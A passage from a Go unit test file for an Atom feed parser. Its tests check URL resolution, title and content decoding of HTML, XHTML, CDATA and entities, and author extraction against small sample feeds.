href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<content type=\"xhtml\">\n\t\t\t<div xmlns=\"http://www.w3.org/1999/xhtml\">AT&amp;T bought <b>by SBC</b>!</div>\n\t\t</content>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"AT&T bought by SBC!\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseFeedURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link rel=\"alternate\" type=\"text/html\" href=\"https://example.org/\"/>\n\t  <link rel=\"self\" type=\"application/atom+xml\" href=\"https://example.org/feed\"/>\n\t  <updated>2003-12-13T18:30:02Z</updated>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/feed\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n}\n\nfunc TestParseFeedWithRelativeFeedURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link rel=\"alternate\" type=\"text/html\" href=\"https://example.org/\"/>\n\t  <link rel=\"self\" type=\"application/atom+xml\" href=\"/feed\"/>\n\t  <updated>2003-12-13T18:30:02Z</updated>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/feed\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n}\n\nfunc TestParseFeedWithRelativeSiteURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"/blog/atom.xml\" rel=\"self\" type=\"application/atom+xml\"/>\n\t  <link href=\"/blog \"/>\n\n\t  <entry>\n\t\t<title>Test</title>\n\t\t<link href=\"/blog/article.html\"/>\n\t\t<link href=\"/blog/article.html\" rel=\"alternate\" type=\"text/html\"/>\n\t\t<id>/blog/article.html</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/blog/atom.xml\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %q\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/blog\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %q\", feed.SiteURL)\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/blog/article.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %q\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseFeedSiteURLWithTrailingSpace(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <link href=\"http://example.org \"/>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"http://example.org\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %q\", feed.SiteURL)\n\t}\n}\n\nfunc TestParseFeedWithFeedURLWithTrailingSpace(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t<link href=\"/blog/atom.xml  \" rel=\"self\" type=\"application/atom+xml\"/>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/blog/atom.xml\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %q\", feed.FeedURL)\n\t}\n}\n\nfunc TestParseEntryWithRelativeURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title>Test</title>\n\t\t<link href=\"something.html\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.net/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"http://example.org/something.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseEntryURLWithTextHTMLType(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title>Test</title>\n\t\t<link href=\"http://example.org/something.html\" type=\"text/html\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.net/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"http://example.org/something.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseEntryURLWithNoRelAndNoType(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title>Test</title>\n\t\t<link href=\"http://example.org/something.html\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.net/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"http://example.org/something.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseEntryURLWithAlternateRel(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title>Test</title>\n\t\t<link href=\"http://example.org/something.html\" rel=\"alternate\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.net/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"http://example.org/something.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseEntryTitleWithWhitespaces(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title>\n\t\t\tSome Title\n\t\t</title>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"Some Title\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithPlainTextTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title type=\"text\">AT&amp;T bought by SBC!</title>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t  <entry>\n\t\t<title>AT&amp;T bought by SBC!</title>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := `AT&T bought by SBC!`\n\tfor i := range 2 {\n\t\tif feed.Entries[i].Title != expected {\n\t\t\tt.Errorf(\"Incorrect title for entry #%d, got: %q instead of %q\", i, feed.Entries[i].Title, expected)\n\t\t}\n\t}\n}\n\nfunc TestParseEntryWithHTMLTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <entry>\n\t\t<title type=\"html\">&lt;code&gt;Code&lt;/code&gt; Test</title>\n\t\t<link href=\"http://example.org/z\"/>\n\t  </entry>\n\t  <entry>\n\t\t<title type=\"html\"><![CDATA[Test with &#8220;unicode quote&#8221;]]></title>\n\t\t<link href=\"http://example.org/b\"/>\n\t  </entry>\n\t  <entry>\n\t\t<title>\n\t\t\t<![CDATA[Entry title with space around CDATA]]>\n\t\t</title>\n\t\t<link href=\"http://example.org/c\"/>\n\t  </entry>\n\t  <entry>\n\t\t<title type=\"html\"><![CDATA[Test with self-closing &lt;tag&gt;]]></title>\n\t\t<link href=\"http://example.org/d\"/>\n\t  </entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 4 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Title != \"<code>Code</code> Test\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[0].Title)\n\t}\n\n\tif feed.Entries[1].Title != \"Test with “unicode quote”\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[1].Title)\n\t}\n\n\tif feed.Entries[2].Title != \"Entry title with space around CDATA\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[2].Title)\n\t}\n\n\tif feed.Entries[3].Title != \"Test with self-closing <tag>\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[3].Title)\n\t}\n}\n\nfunc TestParseEntryWithXHTMLTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title type=\"xhtml\">\n\t\t\t<div xmlns=\"http://www.w3.org/1999/xhtml\">\n\t\t\t\tThis is <b>XHTML</b> content.\n\t \t\t</div>\n\t\t</title>\n\t\t<link href=\"http://example.org/b\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != `This is <b>XHTML</b> content.` {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithEmptyXHTMLTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title type=\"xhtml\">\n\t\t\t<div xmlns=\"http://www.w3.org/1999/xhtml\"/>\n\t\t</title>\n\t\t<link href=\"http://example.org/entry\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != `http://example.org/entry` {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithXHTMLTitleWithoutDiv(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title type=\"xhtml\">\n\t\t  test\n\t\t</title>\n\t\t<link href=\"http://example.org/entry\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != `test` {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithNumericCharacterReferenceTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title>&#931; &#xDF;</title>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"Σ ß\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithDoubleEncodedEntitiesTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title>&amp;#39;AT&amp;amp;T&amp;#39;</title>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != `&#39;AT&amp;T&#39;` {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithXHTMLSummary(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title type=\"xhtml\">Example</title>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary type=\"xhtml\"><div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Test: <code>std::unique_ptr&lt;S&gt;</code></p></div></summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Content != `<p>Test: <code>std::unique_ptr&lt;S&gt;</code></p>` {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[1].Content)\n\t}\n}\n\nfunc TestParseEntryWithHTMLSummary(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <entry>\n\t\t<title type=\"html\">Example 1</title>\n\t\t<link href=\"http://example.org/1\"/>\n\t\t<summary type=\"html\">&lt;code&gt;std::unique_ptr&amp;lt;S&amp;gt; myvar;&lt;/code&gt;</summary>\n\t  </entry>\n\t  <entry>\n\t\t<title type=\"html\">Example 2</title>\n\t\t<link href=\"http://example.org/2\"/>\n\t\t<summary type=\"text/html\">&lt;code&gt;std::unique_ptr&amp;lt;S&amp;gt; myvar;&lt;/code&gt;</summary>\n\t  </entry>\n\t  <entry>\n\t\t<title type=\"html\">Example 3</title>\n\t\t<link href=\"http://example.org/3\"/>\n\t\t<summary type=\"html\"><![CDATA[<code>std::unique_ptr&lt;S&gt; myvar;</code>]]></summary>\n\t  </entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 3 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\texpected := `<code>std::unique_ptr&lt;S&gt; myvar;</code>`\n\tfor i := range 3 {\n\t\tif feed.Entries[i].Content != expected {\n\t\t\tt.Errorf(\"Incorrect content for entry #%d, got: %q\", i, feed.Entries[i].Content)\n\t\t}\n\t}\n}\n\nfunc TestParseEntryWithTextSummary(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/a\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>AT&amp;T &lt;S&gt;</summary>\n\t  </entry>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/b\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary type=\"text\">AT&amp;T &lt;S&gt;</summary>\n\t  </entry>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/c\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary type=\"text/plain\">AT&amp;T &lt;S&gt;</summary>\n\t  </entry>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/d\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary type=\"text\"><![CDATA[AT&T <S>]]></summary>\n\t  </entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := `AT&T <S>`\n\tfor i := range 4 {\n\t\tif feed.Entries[i].Content != expected {\n\t\t\tt.Errorf(\"Incorrect content for entry #%d, got: %q\", i, feed.Entries[i].Content)\n\t\t}\n\t}\n}\n\nfunc TestParseEntryWithTextContent(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/a\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<content>AT&amp;T &lt;strong&gt;Strong Element&lt;/strong&gt;</content>\n\t  </entry>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/b\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<content type=\"text\">AT&amp;T &lt;strong&gt;Strong Element&lt;/strong&gt;</content>\n\t  </entry>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/c\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<content type=\"text/plain\">AT&amp;T &lt;strong&gt;Strong Element&lt;/strong&gt;</content>\n\t  </entry>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/d\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<content><![CDATA[AT&T <strong>Strong Element</strong>]]></content>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := `AT&T <strong>Strong Element</strong>`\n\tfor i := range 4 {\n\t\tif feed.Entries[i].Content != expected {\n\t\t\tt.Errorf(\"Incorrect content for entry #%d, got: %q instead of %q\", i, feed.Entries[i].Content, expected)\n\t\t}\n\t}\n}\n\nfunc TestParseEntryWithHTMLContent(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/a\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<content type=\"html\">AT&amp;amp;T bought &lt;b&gt;by SBC&lt;/b&gt;!</content>\n\t  </entry>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/b\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<content type=\"text/html\">AT&amp;amp;T bought &lt;b&gt;by SBC&lt;/b&gt;!</content>\n\t  </entry>\n\n\t  <entry>\n\t\t<title type=\"html\">Example</title>\n\t\t<link href=\"http://example.org/c\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<content type=\"html\"><![CDATA[AT&amp;T bought <b>by SBC</b>!]]></content>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := `AT&amp;T bought <b>by SBC</b>!`\n\tfor i := range 3 {\n\t\tif feed.Entries[i].Content != expected {\n\t\t\tt.Errorf(\"Incorrect content for entry #%d, got: %q\", i, feed.Entries[i].Content)\n\t\t}\n\t}\n}\n\nfunc TestParseEntryWithXHTMLContent(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<title>Example</title>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<content type=\"xhtml\">\n\t\t\t<div xmlns=\"http://www.w3.org/1999/xhtml\">AT&amp;T bought <b>by SBC</b>!</div>\n\t\t</content>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Content != `AT&amp;T bought <b>by SBC</b>!` {\n\t\tt.Errorf(\"Incorrect entry content, got: %q\", feed.Entries[0].Content)\n\t}\n}\n\nfunc TestParseEntryWithAuthorName(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t\t<author>\n\t\t\t<name>Me</name>\n\t\t\t<email>me@localhost</email>\n\t\t</author>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Author != \"Me\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseEntryWithoutAuthorName(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t\t<author>\n\t\t\t<name/>\n\t\t\t<email>me@localhost</email>\n\t\t</author>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Author != \"me@localhost\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseEntryWithMultipleAuthors(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  